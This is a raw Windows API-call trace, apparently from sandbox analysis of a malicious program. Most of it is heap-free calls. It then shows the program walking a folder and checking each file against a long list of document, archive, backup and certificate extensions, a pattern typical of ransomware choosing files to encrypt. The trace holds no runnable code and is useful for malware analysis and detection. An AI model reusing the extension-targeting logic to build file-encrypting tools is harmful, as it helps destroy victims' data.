	[0151.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0151.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0151.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0151.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0151.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0151.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0151.746] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0152.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0152.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0152.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0152.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0152.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0152.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0152.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0153.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0153.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0153.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0153.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0153.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0153.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0153.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0153.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0153.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0153.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0153.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0153.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0153.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0153.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0153.803] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0153.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0153.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0153.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0153.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0153.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0153.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0153.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0153.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0153.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0153.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0153.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0153.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0153.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0153.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0154.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0154.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0154.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0154.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0154.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0154.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.019] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0154.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0154.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0154.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0154.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0154.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0154.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0154.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0154.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0154.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0154.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0154.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0154.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0154.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0154.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.697] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK") returned 100
	[0154.697] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK") returned 1
	[0154.697] lstrlenW (lpString="en-HK") returned 5
	[0154.697] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-HK") returned -1
	[0154.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.697] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK") returned 100
	[0154.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.698] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.698] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.698] lstrlenW (lpString="index.html") returned 10
	[0154.699] lstrlenW (lpString=".1cd") returned 4
	[0154.699] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0154.699] lstrlenW (lpString=".3ds") returned 4
	[0154.699] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0154.699] lstrlenW (lpString=".3fr") returned 4
	[0154.699] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0154.699] lstrlenW (lpString=".3g2") returned 4
	[0154.699] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0154.699] lstrlenW (lpString=".3gp") returned 4
	[0154.699] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0154.699] lstrlenW (lpString=".7z") returned 3
	[0154.699] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0154.699] lstrlenW (lpString=".accda") returned 6
	[0154.699] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0154.699] lstrlenW (lpString=".accdb") returned 6
	[0154.699] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0154.699] lstrlenW (lpString=".accdc") returned 6
	[0154.699] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0154.699] lstrlenW (lpString=".accde") returned 6
	[0154.699] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0154.699] lstrlenW (lpString=".accdt") returned 6
	[0154.699] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0154.699] lstrlenW (lpString=".accdw") returned 6
	[0154.699] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0154.699] lstrlenW (lpString=".adb") returned 4
	[0154.699] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0154.699] lstrlenW (lpString=".adp") returned 4
	[0154.700] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".ai") returned 3
	[0154.700] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0154.700] lstrlenW (lpString=".ai3") returned 4
	[0154.700] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".ai4") returned 4
	[0154.700] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".ai5") returned 4
	[0154.700] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".ai6") returned 4
	[0154.700] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".ai7") returned 4
	[0154.700] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".ai8") returned 4
	[0154.700] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".anim") returned 5
	[0154.700] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0154.700] lstrlenW (lpString=".arw") returned 4
	[0154.700] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".as") returned 3
	[0154.700] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0154.700] lstrlenW (lpString=".asa") returned 4
	[0154.700] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".asc") returned 4
	[0154.700] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0154.700] lstrlenW (lpString=".ascx") returned 5
	[0154.700] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0154.701] lstrlenW (lpString=".asm") returned 4
	[0154.701] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0154.701] lstrlenW (lpString=".asmx") returned 5
	[0154.701] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0154.701] lstrlenW (lpString=".asp") returned 4
	[0154.701] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0154.701] lstrlenW (lpString=".aspx") returned 5
	[0154.701] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0154.701] lstrlenW (lpString=".asr") returned 4
	[0154.701] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0154.701] lstrlenW (lpString=".asx") returned 4
	[0154.701] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0154.701] lstrlenW (lpString=".avi") returned 4
	[0154.701] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0154.701] lstrlenW (lpString=".avs") returned 4
	[0154.701] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0154.701] lstrlenW (lpString=".backup") returned 7
	[0154.701] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0154.701] lstrlenW (lpString=".bak") returned 4
	[0154.701] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0154.701] lstrlenW (lpString=".bay") returned 4
	[0154.701] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0154.701] lstrlenW (lpString=".bd") returned 3
	[0154.701] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0154.701] lstrlenW (lpString=".bin") returned 4
	[0154.701] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0154.701] lstrlenW (lpString=".bmp") returned 4
	[0154.702] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".bz2") returned 4
	[0154.702] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".c") returned 2
	[0154.702] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0154.702] lstrlenW (lpString=".cdr") returned 4
	[0154.702] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".cer") returned 4
	[0154.702] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".cf") returned 3
	[0154.702] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0154.702] lstrlenW (lpString=".cfc") returned 4
	[0154.702] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".cfm") returned 4
	[0154.702] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".cfml") returned 5
	[0154.702] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0154.702] lstrlenW (lpString=".cfu") returned 4
	[0154.702] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".chm") returned 4
	[0154.702] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".cin") returned 4
	[0154.702] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".class") returned 6
	[0154.702] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0154.702] lstrlenW (lpString=".clx") returned 4
	[0154.702] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0154.702] lstrlenW (lpString=".config") returned 7
	[0154.703] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0154.703] lstrlenW (lpString=".cpp") returned 4
	[0154.703] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".cr2") returned 4
	[0154.703] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".crt") returned 4
	[0154.703] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".crw") returned 4
	[0154.703] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".cs") returned 3
	[0154.703] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0154.703] lstrlenW (lpString=".css") returned 4
	[0154.703] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".csv") returned 4
	[0154.703] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0154.703] lstrlenW (lpString=".cub") returned 4
